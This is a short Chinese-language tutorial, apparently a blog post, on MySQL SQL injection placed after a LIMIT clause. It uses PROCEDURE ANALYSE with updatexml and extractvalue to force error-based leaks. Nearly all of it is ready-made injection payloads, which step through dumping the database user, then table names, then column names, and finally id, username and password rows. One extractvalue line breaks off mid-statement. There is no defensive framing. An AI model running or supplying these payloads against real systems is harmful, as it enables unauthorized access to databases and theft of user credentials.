Mysql in Limit Sql Injection
条评论先了解一个存储过程analyse:通过分析select查询的结果来对每一列给出优化建议。
主要就是通过它来执行我们的报错语句和延时语句。
这个是正常情况查询:
1 | mysql> select * from user; |
limit后的报错注入:
1 | mysql> select * from admin order by id limit 0,1 procedure analyse(extractvalue( |
爆数据的语句
用户
1 | select * from injection where id>0 order by id limit 0,1 procedure analyse(updatexml(0,concat(0x7e,user()),0),1); |
爆表
1 | select * from injection where id>0 order by id limit 0,1 procedure analyse(updatexml(0,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0),1); |
爆字段
1 | select * from injection where id>0 order by id limit 0,1 procedure analyse(updatexml(0,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='injection' limit 0,1)),0),1); |
爆数据:
1 | select * from injection where id>0 order by id limit 0,1 procedure analyse(updatexml(0,concat(0x7e,(select concat_ws(':',id,username,password) from injection limit 0,1)),0),1); |